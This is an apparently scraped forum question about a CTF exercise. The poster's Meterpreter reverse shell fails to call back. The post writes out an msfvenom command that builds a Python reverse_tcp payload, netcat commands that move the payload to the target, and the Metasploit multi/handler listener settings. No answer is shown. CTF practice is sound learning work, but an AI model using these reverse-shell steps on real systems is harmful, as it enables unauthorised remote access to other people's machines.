Home Upgrading reverse shell to meterpreter isn't working
Reply: 0

Upgrading reverse shell to meterpreter isn't working

ChelseaH Published in 2017-12-06 10:57:14Z

I'm currently trying to complete a ctf, and trying to gain root on the target linux system ( from my kali box ( I'm also logged on as a user on the target system as well.

What I was trying to accomplish was execute a reverse shell then upgrade to meterpreter to gain root on the target system, but whenever I try to execute my payload on the target system, nothing happens.

Here's a general walkthrough of what I've done so far:

On Kali i've created a payload using msfvenom

msfvenom -p python/meterpreter/reverse_tcp -f raw lhost= lport=4050 > payload.py

I then move it to the target box using netcat.

Kali nc -l 7001 < payload.py

Target nc 7001 > payload.py

Then I fire up msfconsole and issue necessary commands,

use exploit/multi/handler, use payload python/meterpreter/reverse_tcp,

set lhost, and set lport 4050

then i issue the exploit command and it begins to listen. I then go over to the target box, and try to execute the payload by issuing python payload.py but nothing happens on the Kali box.

Any ideas on what I did wrong or assistance would be great, thanks!

You need to login account before you can post.

About| Privacy statement| Terms of Service| Advertising| Contact us| Help| Sitemap|
Processed in 0.326408 second(s) , Gzip On .

© 2016 Powered by mzan.com design MATCHINFO